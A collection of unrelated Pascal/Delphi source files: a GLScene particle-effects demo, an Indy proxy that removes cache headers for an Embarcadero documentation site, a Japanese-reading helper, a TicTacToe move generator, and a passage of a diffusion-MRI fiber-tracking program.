Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,
GLCadencer, GLScene, GLObjects, GLAsyncTimer,
GLWin32Viewer, GLGeomObjects, GLHUDObjects, GLTexture,
GLVectorTypes, GLSpaceText, GLBitmapFont, GLWindowsFont, GLVectorGeometry,
GLFireFX, GLParticleFX, GLPerlinPFX, GLAnimatedSprite, GLMaterial,
GLCoordinates, GLCrossPlatform, GLBaseClasses;
type
TForm1 = class(TForm)
GLScene1: TGLScene;
vp: TGLSceneViewer;
GLCadencer1: TGLCadencer;
GLCamera1: TGLCamera;
GLPointLightPFXManager1: TGLPointLightPFXManager;
GLParticleFXRenderer1: TGLParticleFXRenderer;
GLPerlinPFXManager1: TGLPerlinPFXManager;
dc_plight: TGLDummyCube;
dc_perlin: TGLDummyCube;
dc_poly: TGLDummyCube;
GLPolygonPFXManager1: TGLPolygonPFXManager;
dc_fire: TGLDummyCube;
GLDummyCube5: TGLDummyCube;
GLFireFXManager1: TGLFireFXManager;
AsyncTimer1: TGLAsyncTimer;
asprite: TGLAnimatedSprite;
matlib: TGLMaterialLibrary;
txt_fire: TGLHUDText;
GLWindowsBitmapFont1: TGLWindowsBitmapFont;
txt_plight: TGLHUDText;
txt_perlin: TGLHUDText;
txt_poly: TGLHUDText;
txt_asprite: TGLHUDText;
dc_asprite: TGLDummyCube;
GLLines1: TGLLines;
GLDummyCube1: TGLDummyCube;
GLLightSource1: TGLLightSource;
txt_gl: TGLSpaceText;
txt_scene: TGLSpaceText;
procedure FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
procedure GLCadencer1Progress(Sender: TObject; const deltaTime,
newTime: Double);
procedure AsyncTimer1Timer(Sender: TObject);
procedure vpMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure vpMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
public
end;
var
Form1:TForm1;
_shift:boolean=false; // индикатор нажатия любой кнопки "мыша"
_mx,_my:Integer; // предыдущие координаты "мыша"
_zoom:single=0; //
implementation
{$R *.DFM}
procedure TForm1.FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
begin
_zoom:=WheelDelta/120; // запоминаем положение колёсика "мыша"
end;
procedure TForm1.GLCadencer1Progress(Sender: TObject; const deltaTime,
newTime: Double);
var v:TVector4f;
begin
// ярлычок для FireFX
v:=vp.Buffer.WorldToScreen(dc_fire.AbsolutePosition);
txt_fire.AbsolutePosition:=VectorMake(v.X,height-v.Y,0);
// ярлычок для PointLightPFX
v:=vp.Buffer.WorldToScreen(dc_plight.AbsolutePosition);
txt_plight.AbsolutePosition:=VectorMake(v.X,height-v.Y,0);
// ярлычок для PolygonPFX
v:=vp.Buffer.WorldToScreen(dc_poly.AbsolutePosition);
txt_poly.AbsolutePosition:=VectorMake(v.X,height-v.Y,0);
// ярлычок для PerlinPFX
v:=vp.Buffer.WorldToScreen(dc_perlin.AbsolutePosition);
txt_perlin.AbsolutePosition:=VectorMake(v.X,height-v.Y,0);
// ярлычок для AnimatedSprite
v:=vp.Buffer.WorldToScreen(dc_asprite.AbsolutePosition);
txt_asprite.AbsolutePosition:=VectorMake(v.X,height-v.Y,0);
if _shift then begin
gldummycube1.Pitch(_my-mouse.CursorPos.y); // если нажата кнопка, то
gldummycube5.Turn(_mx-mouse.CursorPos.x); // вращение камеры от "мыша"
end
else gldummycube5.Turn(deltatime*10); // иначе автоматическая ротация
_my:=mouse.CursorPos.y; // сохраняем координаты "мыша"
_mx:=mouse.CursorPos.x; //
GLCamera1.AdjustDistanceToTarget(Power(1.1, _zoom));
_zoom:=0; // обнуляем
end;
procedure TForm1.AsyncTimer1Timer(Sender: TObject);
begin
caption:=vp.FramesPerSecondText(2); // выводим количество кадров в секунду
vp.ResetPerformanceMonitor; // и обнуляем счётчик
end;
procedure TForm1.vpMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
_shift:=true; // кнопка нажата
end;
procedure TForm1.vpMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
_shift:=false; // кнопка отжата
end;
end.
|
unit uDocwikiProxy_FMX;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs,
IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, IdCmdTCPServer,
IdHTTPProxyServer, FMX.ScrollBox, FMX.Memo, FMX.StdCtrls,
FMX.Controls.Presentation, IdServerIOHandler, IdServerIOHandlerSocket,
IdServerIOHandlerStack, RegularExpressions;
type
TForm1 = class(TForm)
Panel1: TPanel;
Switch1: TSwitch;
Label1: TLabel;
Memo1: TMemo;
IdHTTPProxyServer1: TIdHTTPProxyServer;
IdServerIOHandlerStack1: TIdServerIOHandlerStack;
procedure FormCreate(Sender: TObject);
procedure IdHTTPProxyServer1HTTPBeforeCommand(
AContext: TIdHTTPProxyServerContext);
procedure IdHTTPProxyServer1HTTPResponse(
AContext: TIdHTTPProxyServerContext);
private
{ private 宣言 }
// 削除対象のヘッダ情報のリスト。
// 今回の実装ではForm.Createで初期化する。
HeaderList: TStringList;
// 指定されたヘッダをMemoに出力する処理。
procedure WriteToMemo(AHeaderName: String; AHeaderValue: String);
public
{ public 宣言 }
end;
var
Form1: TForm1;
implementation
{$R *.fmx}
{ TForm1 }
procedure TForm1.FormCreate(Sender: TObject);
{
フォーム生成時の処理
・削除対象のレスポンスヘッダ名のリストを初期化する。
}
begin
HeaderList := TSTringList.Create;
HeaderList.CommaText := 'Expires,Pragma,Vary';
end;
procedure TForm1.IdHTTPProxyServer1HTTPBeforeCommand(
AContext: TIdHTTPProxyServerContext);
{ クライアントからのリクエスト受信時の処理 }
begin
{
リクエストヘッダに関する処理を行いたいにここで処理可能。
以下の例はリクエストヘッダに含まれる Cache-Control ヘッダを消去する処理。
if (AContext.Headers.IndexOfName('Cache-Control') > 0) then
AContext.Headers.Delete( AContext.Headers.IndexOfName('Cache-Control') );
end;
}
end;
procedure TForm1.IdHTTPProxyServer1HTTPResponse(
AContext: TIdHTTPProxyServerContext);
{ サーバからのレスポンスをクライアントに返す前に行う処理 }
var
NameIndex: Integer;
i: Integer;
begin
// ブラウザキャッシュを阻害するヘッダの削除を行う処理。
// 接続先が docwiki.embarcadero.com 以外ならばここで終了
if (not AContext.Target.startsWith('http://docwiki.embarcadero.com') ) then
exit;
// Switch1 が On (動作の詳細表示有効) ならば、空行を1行差し込む。
// これはレイアウト調整を目的としている。
if Switch1.isChecked then
Memo1.Lines.Insert(0, ' ');
// リクエストされたURLをログ用の Memo の先頭行に差し込む。
Memo1.Lines.Insert(0, AContext.Target);
// 削除対象の HTTP レスポンスヘッダを探して消す。
// ただし Cache-Control は別の個所で処理する。
for NameIndex := 0 to HeaderList.Count - 1 do begin
if (AContext.Headers.IndexOfName(HeaderList[NameIndex]) > 0) then
begin
WriteToMemo( ' remove ' + HeaderList[NameIndex] ,AContext.Headers.Values[HeaderList[NameIndex]] );
AContext.Headers.Delete( AContext.Headers.IndexOfName(HeaderList[NameIndex]) );
end;
end;
// Cache-Control については、private の場合だけ消す。
if ( Length(AContext.Headers.Values['Cache-Control']) > 0 ) then
if TRegEx.IsMatch(AContext.Headers.Values['Cache-Control'],'[Pp]rivate') then
begin
WriteToMemo( ' remove Cache-Control', AContext.Headers.Values['Cache-Control'] );
AContext.Headers.Delete( AContext.Headers.IndexOfName('Cache-Control') );
end;
end;
procedure TForm1.WriteToMemo(AHeaderName, AHeaderValue: String);
begin
// Switch1 がチェックされていない場合は処理を行わない。
if not Switch1.isChecked then
exit;
if AHeaderValue.Length > 0 then
Memo1.Lines.Insert(1, AHeaderName + ' = ' + AHeaderValue);
end;
end.
|
unit YarxiReadingCommon;
interface
function CombineAlternativeReading(const rd: string; const alt: string): string;
implementation
uses WcExceptions, YarxiStrings;
{ Совмещает основное чтение, производящее кану, с альтернативным - для отображения.
Производит общее чтение с пометками собственного формата.
rd и alt должны быть непустыми }
function CombineAlternativeReading(const rd: string; const alt: string): string;
const eBadAlternativeReading = 'Непонятный альтернативный вариант транскрипции: %s (исходный %s)';
var ps, pa, pb: PChar;
procedure CommitText;
begin
if ps>pa then exit;
Result := Result + spancopy(ps,pa);
ps := pa;
end;
begin
{ Яркси поддерживает только пару ха/ва }
Check(Length(rd)=Length(alt));
Result := '';
pa := PChar(rd);
pb := PChar(alt);
ps := pa;
while pa^<>#00 do begin
if pa^=pb^ then begin
Inc(pa);
Inc(pb);
end else
if (pa^='h') and (pb^='w') then begin
CommitText();
Inc(pa);
Inc(pb);
Check((pa^=pb^) and (pa^='a'), eBadAlternativeReading, [alt, rd]);
Inc(pa);
Inc(pb);
Result := Result + 'ha´';
ps := pa;
end else
Die(eBadAlternativeReading, [alt, rd]);
end;
CommitText;
end;
end.
|
Unit Moves;
{ Moves.Pas Unit for making computer's moves for the TicTacToe
game. Author Bruce F. Webster. Last Update 12 Dec. 1987 }
Interface
Uses TicTac;
Var
CFlag : Integer; { O if computer moves first, 1 otherwise }
CMove : Move; { Contains computer's market (x,o) }
Procedure GenerateMove(G:Game;Var L:Location);
Implementation
Function WinFound(G:Game;Var L:Location):Boolean;
{ Purpose Checks for winning move in Game
Pre G Has been initialized, O or more moves have been made,
the game is not yet over
Post If the next move can win the game
Then L is set to that move and WinFound() returns True
Else L is unchanged and WinFound() returns False }
Var
Temp : Game;
I : Integer;
Begin
I := 1;
WinFound := False;
Repeat
If GetLoc(G,I) = Blank Then Begin
Temp := G;
DoMove(Temp,I);
If GameOver(Temp) and (Winner(Temp) <> Blank) Then Begin
L := I;
WinFound := True;
Exit;
End;
End;
I := I + 1;
Until I > Glim;
End; { Function WinFound }
Function BlockFound(G:Game;Var L :Location):Boolean;
{ Purpose Checks for Blocking move in game
Pre G Has been initialized, O or more moves have been made,
The game is not over yet.
Post If the next move can prevent the following move from
winning the game
Then L is set to that move and BlockFound() returns True
Else L is unchanged and BlockFound() returns False }
Var
Temp : Game;
I : Integer;
J : Location;
Begin
I := 1;
BlockFound := False;
Repeat
If GetLoc(G,I) = Blank Then Begin
Temp := G;
DoMove(Temp,I);
If Not WinFound(Temp,J) Then Begin
L := I;
BlockFound := True;
Exit;
End;
End;
I := I + 1;
Until I > Glim;
End; { Function BlockFound }
Procedure GenerateMove(G:Game;Var L : Location );
{ Purpose Generates Next move for computer
Pre G has been initialized, O or more moves have been made,
the game is not yet over.
Post *L contains a value in the range 1..9,
GetLoc(G,*L) returns blank
Strategy Goes First for move to the Center (*L == 5)
Then focuses on corners, then moves randomly
always looks for a winning move
After 3 or more moves, also looks for blocking moves
Analysis Not perfect, but simple and effective; won't always win
when it could, but always plays to at least a draw. }
Var
NMoves : Integer;
Begin
L := 5;
NMoves := MovesMade(G);
If NMoves <= 2 Then Begin
If GetLoc(G,L) = Blank
Then Exit;
End;
If WinFound(G,L) Then Exit;
If (NMoves > 2) and BlockFound(G,L) Then Exit;
Repeat
If NMoves <= 4
Then L := 1 + 2 * Random(5)
Else L := 1 + Random(Glim);
Until GetLoc(G,L) = Blank;
End; { Procedure GenerateMoves }
End. { Unit Moves }
|
program tracktion;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils, CustApp, nifti_loader, define_types, matmath, math,
track, DateUtils;
const
kMaxWayPoint = 8; //we can store 8 independent waypoint maps with 1-byte per pixel
type
TTrackingPrefs = record
mskName, v1Name, msk2Name, v2Name, outName: string;
waypointName: array [0..(kMaxWayPoint-1)] of string;
simplifyToleranceMM, simplifyMinLengthMM, mskThresh, stepSize, maxAngleDeg, bedpostExponent, redundancyToleranceMM : single;
minLength, smooth, seedsPerVoxel: integer;
end;
{ TFiberQuant }
TFiberQuant = class(TCustomApplication)
protected
procedure DoRun; override;
public
constructor Create(TheOwner: TComponent); override;
destructor Destroy; override;
procedure WriteHelp(var p: TTrackingPrefs); virtual;
end;
procedure showMsg(msg: string);
begin
writeln(msg);
end;
const
mxTrkLen = 512;
type
TNewTrack = record
len: integer;
dir: TPoint3f;
pts: array [0..mxTrkLen] of TPoint3f;
end;
procedure showMat(vox2mmMat: TMat44);
begin
showmsg(format('vox2mm= [%g %g %g %g; %g %g %g %g; %g %g %g %g; 0 0 0 1]',
[vox2mmMat[1,1],vox2mmMat[1,2],vox2mmMat[1,3],vox2mmMat[1,4],
vox2mmMat[2,1],vox2mmMat[2,2],vox2mmMat[2,3],vox2mmMat[2,4],
vox2mmMat[3,1],vox2mmMat[3,2],vox2mmMat[3,3],vox2mmMat[3,4] ]) );
end;
function vox2mm(Pt: TPoint3f; vox2mmMat: TMat44) : TPoint3f; inline;
begin
result.X := Pt.X*vox2mmMat[1,1] + Pt.Y*vox2mmMat[1,2] + Pt.Z*vox2mmMat[1,3] + vox2mmMat[1,4];
result.Y := Pt.X*vox2mmMat[2,1] + Pt.Y*vox2mmMat[2,2] + Pt.Z*vox2mmMat[2,3] + vox2mmMat[2,4];
result.Z := Pt.X*vox2mmMat[3,1] + Pt.Y*vox2mmMat[3,2] + Pt.Z*vox2mmMat[3,3] + vox2mmMat[3,4];
end;
function FindImgVal(var filename: string; out volume: integer): boolean;
// "/dir/img" will return "/dir/img.nii"; "img.nii,3" will return 3 as volume number
var
p,n,x, basename: string;
idx: integer;
begin
result := true;
basename := filename;
volume := 0;
idx := LastDelimiter(',',filename);
if (idx > 0) and (idx < length(filename)) then begin
x := copy(filename, idx+1, length(filename));
volume := StrToIntDef(x,-1);
if volume < 0 then
showmsg('Expected positive integer after comma: '+filename)
else
filename := copy(filename, 1, idx-1);
//if not file
//showmsg(format('"%s" %d', [filename, volume]) );
end;
//FilenameParts (basename, pth,n, x);
if fileexists(filename) then exit;
FilenameParts (filename, p, n, x);
filename := p + n + '.nii.gz';
if fileexists(filename) then exit;
filename := p + n + '.nii';
if fileexists(filename) then exit;
showmsg('Unable to find images "'+basename+'"');
result := false;
end;// FindImgVol()
procedure MatOK(var vox2mmMat: TMat44);
var
Pt0,Pt1: TPoint3f;
begin
Pt0 := vox2mm(ptf(0,0,0),vox2mmMat);
Pt1 := vox2mm(ptf(1,1,1),vox2mmMat);
vectorSubtract(Pt0,Pt1);
if (Pt0.X <> 0) and (Pt0.Y <> 0) and (Pt0.Z <> 0) then exit;
showmsg('NIfTI s-form does not make sense: result will be in voxels not mm');
showMat(vox2mmMat);
vox2mmMat := matrixSet(1,0,0,0, 0,1,0,0, 0,0,1,0);
end;
function track (var p: TTrackingPrefs): boolean;
//http://individual.utoronto.ca/ktaylor/DTIstudio_mori2006.pdf
// http://www.ncbi.nlm.nih.gov/pubmed/16413083
//Specifically section 2.3 Fiber Tracking
{$DEFINE BEDPOST} //if defined, input is bedpost output (multiple fibers)
const
kChunkSize = 16384;
label
666;
var
startTime: TDateTime;
{$IFDEF BEDPOST} isBedpost {$ENDIF}: boolean;
msk, v1, {$IFDEF BEDPOST} msk2, v2 {$ENDIF}: TNIFTI;
waypointBits: byte;
mskMap, waypointMap :TImgRaw;
vox2mmMat: TMat44;
seedOrigin, pixDim : TPoint3f;
waypointName: string;
TrkPos, vx, i, j, x,y,z, sliceVox, volVox, seed, waypointVal: integer;
YMap, ZMap: TInts;
negTrk, posTrk: TNewTrack;
minCosine: single;
Trk: TTrack;
function XYZ2vox(xi,yi,zi: integer): integer; inline;
//convert from 3D coordinates to 1D array
begin
result := xi + YMap[yi] + ZMap[zi];
end;//nested XYZ2vox()
{$IFDEF LINEAR_INTERPOLATE}
function getVoxelIntensity(Pt: TPoint3f; vol: integer): single;
//http://paulbourke.net/miscellaneous/interpolation/
var
PtLo, PtHi: TPoint3i;
FracLo, FracHi: TPoint3f;
volOffset : integer;
//convert from 3D coordinates to 1D array
begin
//http://paulbourke.net/miscellaneous/interpolation/
PtLo:= pti(trunc(Pt.x), trunc(Pt.y), trunc(Pt.z));
PtHi := vectorAdd(PtLo, 1);
FracHi.X := Pt.X - PtLo.X;
FracHi.Y := Pt.Y - PtLo.Y;
FracHi.Z := Pt.Z - PtLo.Z;
FracLo := ptf(1,1,1);
vectorSubtract(FracLo, FracHi);
volOffset := vol*volVox;
result := v1.img[XYZ2vox(PtLo.X, PtLo.Y, PtLo.Z)+volOffset] * FracLo.X *FracLo.Y * FracLo.Z //000
+ v1.img[XYZ2vox(PtHi.X, PtLo.Y, PtLo.Z)+volOffset] * FracHi.X *FracLo.Y * FracLo.Z //100
+ v1.img[XYZ2vox(PtLo.X, PtHi.Y, PtLo.Z)+volOffset] * FracLo.X *FracHi.Y * FracLo.Z //010
+ v1.img[XYZ2vox(PtLo.X, PtLo.Y, PtHi.Z)+volOffset] * FracLo.X *FracLo.Y * FracHi.Z //001
+ v1.img[XYZ2vox(PtHi.X, PtLo.Y, PtHi.Z)+volOffset] * FracHi.X *FracLo.Y * FracHi.Z //101
+ v1.img[XYZ2vox(PtLo.X, PtHi.Y, PtHi.Z)+volOffset] * FracLo.X *FracHi.Y * FracHi.Z //011
+ v1.img[XYZ2vox(PtHi.X, PtHi.Y, PtLo.Z)+volOffset] * FracHi.X *FracHi.Y * FracLo.Z //110
+ v1.img[XYZ2vox(PtHi.X, PtHi.Y, PtHi.Z)+volOffset] * FracHi.X *FracHi.Y * FracHi.Z //111
;
end;//nested
{$ELSE}
function getVoxelIntensity(Pt: TPoint3f; vol: integer): single;
// nearest neighbor
var
PtLo: TPoint3i;
begin
PtLo:= pti(round(Pt.x), round(Pt.y), round(Pt.z));
result := v1.img[XYZ2vox(PtLo.X, PtLo.Y, PtLo.Z)+vol*volVox]; //000
end;//nested
{$ENDIF}
function getDir(Pt: TPoint3f): TPoint3f; inline;
var
iPt: TPoint3i;
//convert from 3D coordinates to 1D array
begin
iPt:= pti(round(Pt.x), round(Pt.y), round(Pt.z));
if mskMap[XYZ2vox(iPt.X, iPt.Y, iPt.Z)] <> 1 then begin //FA out of range
result := ptf(10,10,10);
exit;
end;
result.X := getVoxelIntensity(Pt, 0);
result.Y := getVoxelIntensity(Pt, 1);
result.Z := getVoxelIntensity(Pt, 2);
vectorNormalize(result);
end;//nested
{$IFDEF BEDPOST}
function getVoxelIntensity2(Pt: TPoint3f; vol: integer): single;
// nearest neighbor
var
PtLo: TPoint3i;
begin
PtLo:= pti(round(Pt.x), round(Pt.y), round(Pt.z));
result := v2.img[XYZ2vox(PtLo.X, PtLo.Y, PtLo.Z)+vol*volVox]; //000
end;//nested
function getDir2(Pt: TPoint3f; out frac1vs2: single): TPoint3f; inline;
var
iPt: TPoint3i;
//convert from 3D coordinates to 1D array
begin
iPt:= pti(round(Pt.x), round(Pt.y), round(Pt.z));
if mskMap[XYZ2vox(iPt.X, iPt.Y, iPt.Z)] <> 1 then begin //FA out of range
result := ptf(10,10,10);
exit;
end;
result.X := getVoxelIntensity2(Pt, 0);
result.Y := getVoxelIntensity2(Pt, 1);
result.Z := getVoxelIntensity2(Pt, 2);
vectorNormalize(result);
frac1vs2 := msk2.img [XYZ2vox(round(Pt.x), round(Pt.y), round(Pt.z))];
end;//nested
{$ENDIF}
procedure AddSteps(var newTrk: TNewTrack; seedStart: TPoint3f; reverseDir: boolean);
var
dirScaled, pos, dir {$IFDEF BEDPOST}, dir2 {$ENDIF}: TPoint3f;
cosine {$IFDEF BEDPOST}, cosine2, frac1vs2 {$ENDIF}: single;
begin
newTrk.len := 0;
pos := seedStart;
newTrk.dir := getDir(SeedStart);
if reverseDir then
newTrk.dir := vectorScale(newTrk.dir,-1);
while (newTrk.dir.X < 5) and (newTrk.len < mxTrkLen) do begin
newTrk.pts[newTrk.len] := pos; //add previous point
newTrk.len := newTrk.len + 1;
{$IFDEF ASSUME_ISOTROPIC}
vectorAdd(pos, vectorMult(newTrk.dir, p.stepSize)); //move in new direction by step size
{$ELSE}
dirScaled := vectorScale(newTrk.dir, pixDim);
vectorAdd(pos, vectorScale(dirScaled, p.stepSize)); //move in new direction by step size
{$ENDIF}
dir := getDir(pos);
cosine := vectorDot(dir, newTrk.dir);
{$IFDEF BEDPOST}
if (isBedpost) then begin
dir2 := getDir2(pos, frac1vs2);
cosine2 := vectorDot(dir2, newTrk.dir);
//cost function: to compare two vectors v1, v2
// a.) cosine in range 0..1 is higher for lower bending angle
// b.) mask2 is in range 0.5..1 with higher values meaning v1 more likely
if ((abs(cosine2) * frac1vs2) > abs(cosine)) then begin
cosine := cosine2;
dir := dir2;
end;
end;
{$ENDIF}
if ( abs(cosine) < minCosine) then exit; //if steep angle: fiber ends
if (cosine < 0) and (dir.X < 5) then
dir := vectorScale(dir,-1);
newTrk.dir := dir;
end;
end;//nested AddSteps()
procedure AddFiber;
var
newVtx, newItems, outPos, i, iStop : integer;
VtxBits : byte;
Pt : TPoint3f;
begin
newVtx := 0;
if (posTrk.len > 1) then
newVtx := newVtx + posTrk.len;
if (negTrk.len > 1) then
newVtx := newVtx + negTrk.len;
if (posTrk.len > 1) and (negTrk.len > 1) then
newVtx := newVtx - 1; //1st vertex shared by both
if (newVtx < 2) then exit;
if (waypointBits > 0) then begin
VtxBits := 0;
if posTrk.len > 1 then
for i := 0 to (posTrk.len -1) do
VtxBits := VtxBits or waypointMap[XYZ2vox(round(posTrk.pts[i].X), round(posTrk.pts[i].Y), round(posTrk.pts[i].Z) )];
if negTrk.len > 1 then
for i := 0 to (negTrk.len -1) do
VtxBits := VtxBits or waypointMap[XYZ2vox(round(negTrk.pts[i].X), round(negTrk.pts[i].Y), round(negTrk.pts[i].Z) )];
if VtxBits <> waypointBits then exit;
end;
newItems := 1 + (newVtx * 3); //each fiber: one element encoding number of vertices plus 3 values (X,Y,Z) for each vertex
if length(Trk.tracks) < (TrkPos + newItems) then
setlength(Trk.tracks, TrkPos + newItems + kChunkSize); //large ChunkSize reduces the frequency of the slow memory re-allocation
Trk.tracks[TrkPos] := asSingle(newVtx);
outPos := 1;
if (negTrk.len > 1) then begin
if (posTrk.len > 1) then
iStop := 1 //do not save seed node if it is shared between positive and negative
else
iStop := 0;
for i := (negTrk.len -1) downto iStop do begin
Pt := negTrk.pts[i];
Pt := vox2mm(Pt, vox2mmMat);
Trk.tracks[TrkPos+outPos] := Pt.X; outPos := outPos + 1;
Trk.tracks[TrkPos+outPos] := Pt.Y; outPos := outPos + 1;
Trk.tracks[TrkPos+outPos] := Pt.Z; outPos := outPos + 1;
end;
end;
if (posTrk.len > 1) then begin
for i := 0 to (posTrk.len -1) do begin
Pt := posTrk.pts[i];
Pt := vox2mm(Pt, vox2mmMat);
Trk.tracks[TrkPos+outPos] := Pt.X; outPos := outPos + 1;
Trk.tracks[TrkPos+outPos] := Pt.Y; outPos := outPos + 1;
Trk.tracks[TrkPos+outPos] := Pt.Z; outPos := outPos + 1;
end;
end;
TrkPos := TrkPos + newItems;
Trk.n_count := Trk.n_count + 1;
end;//nested AddFiber()
begin
result := false;
startTime := Now;
msk := TNIFTI.Create;
v1 := TNIFTI.Create;
{$IFDEF BEDPOST}
msk2 := TNIFTI.Create;
v2 := TNIFTI.Create;
{$ENDIF}
Trk := TTrack.Create;
TrkPos := 0; //empty TRK file
minCosine := cos(DegToRad(p.maxAngleDeg));
if (p.seedsPerVoxel < 1) or (p.seedsPerVoxel > 9) then begin
showmsg('seedsPerVoxel must be between 1 and 9');
p.seedsPerVoxel := 1;
end;
//load mask
if not msk.LoadFromFile(p.mskName, kNiftiSmoothNone) then begin
showmsg(format('Unable to load mask named "%s"', [p.mskName]));
goto 666;
end;
//pixDim is normalized pixel scaling, so image with 1x1mm in plane and 2mm slice thickness will be 0.5,0.5,1.0
pixDim := ptf(abs(msk.hdr.pixdim[1]),abs(msk.hdr.pixdim[2]),abs(msk.hdr.pixdim[3]));
if min(pixDim.X,min(pixDim.Y,pixDim.Z)) <= 0 then
pixDim := ptf(1,1,1);
vectorReciprocal(pixDim); //in terms of voxels, move much less in the thicker direction than the thinner direction
//vectorNormalize(pixDim); //would make vector length 1
pixDim := vectorScale(pixDim, 1/max(pixDim.X,max(pixDim.Y,pixDim.Z))); //make longest component 1
if min(pixDim.X,min(pixDim.Y,pixDim.Z)) < 0.5 then
showmsg(format('Warning: pixel mm very anisotropic %g %g %g ',[msk.hdr.pixdim[1], msk.hdr.pixdim[2], msk.hdr.pixdim[3]]));
//showmsg(format('pixel mm anisotropy %g %g %g ',[pixDim.X, pixDim.Y, pixDim.Z]));
vox2mmMat := msk.mat;
MatOK(vox2mmMat);
if (msk.minInten = msk.maxInten) then begin
showmsg('Error: No variability in mask '+ p.mskName);
goto 666;
end;
if specialsingle(p.mskThresh) then
p.mskThresh := (0.5 * (msk.maxInten - msk.minInten))+ msk.minInten;
if (p.mskThresh < msk.minInten) or (p.mskThresh > msk.maxInten) then begin
p.mskThresh := (0.5 * (msk.maxInten - msk.minInten))+ msk.minInten;
showmsg(format('Requested threshold make sense (image range %g..%g). Using %g.',[msk.minInten, msk.maxInten, p.mskThresh]));
goto 666;
end;
//load V1
v1.isLoad4D:= true;
if not v1.LoadFromFile(p.v1Name, kNiftiSmoothNone) then begin
showmsg(format('Unable to load V1 named "%s"', [p.v1Name]));
goto 666;
end;
volVox := length(msk.img);
if (volVox *3 ) <> length(v1.img) then begin
showmsg(format('Error: v1 should have 3 times the voxels as the mask (voxels %d vs %d). Check v1 has 3 volumes and image dimensions match', [length(v1.img), length(msk.img)] ));
goto 666;
end;
{$IFDEF BEDPOST}
isBedpost := false;
if (p.v2Name <> '') and (p.msk2Name <> '') then begin
isBedpost := true;
v2.isLoad4D:= true;
if not v2.LoadFromFile(p.v2Name, kNiftiSmoothNone) then begin
showmsg(format('Unable to load V2 named "%s"', [p.v2Name]));
goto 666;
end;
if length(v1.img) <> length(v2.img) then begin
showmsg(format('Dimension mismatch "%s" "%s"', [p.v1Name, p.v2Name] ));
goto 666;
end;
if not msk2.LoadFromFile(p.msk2Name, kNiftiSmoothNone) then begin
showmsg(format('Unable to load mask 2 named "%s"', [p.msk2Name]));
goto 666;
end;
if length(msk.img) <> length(msk2.img) then begin
showmsg(format('Dimension mismatch "%s" "%s"', [p.mskName, p.msk2Name] ));
goto 666;
end;
for i := 0 to (volVox -1) do begin
//set msk to be sum of probabilities for v1 and v2, set msk2 to my proportion of v1/(v1+v2)
msk.img[i] := msk.img[i] + msk2.img[i]; //probability of both fibers is mean_f1samples + mean_f2samples
//msk2 will be the cost function for selecting the 2nd fiber instead of the first
// Intuitively, the probability of fiber 2 vs fiber 1, e.g. if mean_f1samples = 0.6 and mean_f1samples = 0.2 then frac1vs2 = 0.2/0.6 = 0.3333
if msk.img[i] > 0 then begin
msk2.img[i] := msk2.img[i] / msk.img[i];
//however, we might want to adjust this weighting using sqr or sqrt
msk2.img[i] := power(msk2.img[i],p.bedpostExponent); //exponent=0: f1 and f2 treated equally, 1: f1 and f2 proportional to probability, 100: strongly prefer f1
end;
end;
end;
{$ENDIF}
//make arrays for converting from 3D coordinates to 1D array
sliceVox := msk.hdr.dim[1] * msk.hdr.dim[2]; //voxels per slice
setlength(YMap, msk.hdr.dim[2]);
for i := 0 to (msk.hdr.dim[2]-1) do
YMap[i] := i * msk.hdr.dim[1];
setlength(ZMap, msk.hdr.dim[3]);
for i := 0 to (msk.hdr.dim[3]-1) do
ZMap[i] := i * sliceVox;
//set byte mask: vs msk.img this is less memory and faster (int not float)
setlength(mskMap, volVox);
for i := 0 to (volVox -1) do
mskMap[i] := 0;
for i := 0 to (volVox -1) do
if (msk.img[i] > p.mskThresh) then
mskMap[i] := 1;
msk.Close;
//next: we will zero the edge so we do not need to do bounds checking
for i := 0 to (sliceVox -1) do begin
mskMap[i] := 0; //bottom slice
mskMap[volVox-1-i] := 0; //top slice
end;
//erase left and right edges
for z := 0 to (msk.hdr.dim[3]-1) do //for each slice
for y := 0 to (msk.hdr.dim[2]-1) do begin //for each row
mskMap[XYZ2vox(0,y,z)] := 0;
mskMap[XYZ2vox(msk.hdr.dim[1]-1,y,z)] := 0;
end;
//erase anterior and posterior edges
for z := 0 to (msk.hdr.dim[3]-1) do //for each slice
for x := 0 to (msk.hdr.dim[1]-1) do begin //for each column
mskMap[XYZ2vox(x,0,z)] := 0;
mskMap[XYZ2vox(x,msk.hdr.dim[2]-1,z)] := 0;
end;
//check that voxels survive for mapping
vx := 0;
for i := 0 to (volVox -1) do
if (mskMap[i] = 1) then
vx := vx + 1;
if (vx < 1) then begin //since we already have checked mskThresh, we only get this error if the only voxels surviving threshold were on the outer boundary
showmsg(format(' No voxels have FA above %.3f',[p.mskThresh]));
goto 666;
end;
{$IFDEF BEDPOST}
if (isBedpost) then
showmsg(format(' %d voxels have probabilities above %.3f',[vx, p.mskThresh]))
else
{$ENDIF}
showmsg(format(' %d voxels have FA above %.3f',[vx, p.mskThresh]));
//setup waypoints
setlength(waypointMap, volVox);
fillchar(waypointMap[0], volVox, 0);
waypointBits := 0;
for i := 0 to (kMaxWayPoint-1) do begin
if length(p.waypointName[i]) < 1 then continue;
waypointName := p.waypointName[i];
if not FindImgVal(waypointName, waypointVal) then continue;
if not msk.LoadFromFile(waypointName, kNiftiSmoothNone) then begin
showmsg(format('Unable to load mask named "%s"', [waypointName]));
goto 666;
end;
if volVox <> length(msk.img) then begin
showmsg(format('Error: waypoint image should have same dimensions as other images (voxels %d vs %d): %s', [volVox, length(msk.img), p.waypointName[i]] ));
goto 666;
end;
vx := 0;
x := 1 shl i;
if waypointVal <> 0 then
for j := 0 to (volVox -1) do
if msk.img[j] = waypointVal then begin
waypointMap[j] := waypointMap[j] + x;
